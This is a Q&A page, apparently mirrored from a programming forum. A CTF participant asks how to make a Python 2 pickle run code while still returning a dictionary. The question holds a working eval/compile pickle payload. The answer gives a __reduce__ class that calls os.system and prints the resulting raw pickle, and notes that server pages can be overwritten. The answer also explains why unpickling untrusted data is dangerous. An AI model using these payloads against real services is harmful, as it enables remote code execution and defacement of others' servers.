简体   繁体   中英

python2 using pickle to run arbitrary code and returning a dictionary

I am doing a CTF where a pickle string which encodes a dictionary is sent to a server.

I'm pretty sure I'm supposed to alter the pickle in such way that the pickle will run arbitrary code to get the flag. Some searching lead me to this pickle, which allows me to run code:

(c__builtin__
eval
(c__builtin__
compile
(Vprint("Bang! From, Evan.", 1)
V-
Vexec
I65536
I0
tRtR.)

The problem is the server expects the pickle to be a dict, so when code is sent to it it gives an "internal server error" (perhaps it's trying to access a key, while a dict isn't returned by the pickle).

So how can I run code in a pickle and return a dict at the same time? (btw, I also tried to run return in the code, but that gave an "internal server error" as well.


Note: This is the format of the string:

(dp0
S'string_a'
p1
I00
sS'string_b'
p2
I00
sS'string_c'
p3
I00
sS'string_d'
p4
I00
sS'string_e'
p5
I00
sS'string_f'
p6
I00
s.

Even if the server is checking the type of the unpickled object(or whether keys can be accessed from it), the pickled object needs to be unpickled first(during which you can execute your malicious code on the server). That's why it is heavily discouraged to arbitrarily unpickle data from untrusted sources.

So your code from unpickled string is getting executed first after which the server is returning the "Internal server error".

You can use the __reduce__ method of a class that gets called during unpickling to generate a new pickled string that does what you want and allows you RCE.

import pickle
class CTF(object):
    def __reduce__(self):
        cmd = ('echo `hostname` > /webserver/static/rce_hostname.html')
        import os
        return os.system, (cmd,)

payload = pickle.dumps(CTF())
print(payload)

Above generates this pickled string -

cposix
system
p0
(S'echo `hostname` > /webserver/static/rce_hostname.html'
p1
tp2
Rp3
.

if you use the above pickled string, the server would end up writing the hostname to the /webserver/static/rce_hostname.html if server has privileges to write to the path even if you see the "internal server error". Based on which pages you have access to(eg index.html), you can overwrite them with the required contents.

You can change the contents of __reduce__ function to create your own pickled string to execute code you want with the privileges of the user the server is running as.

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM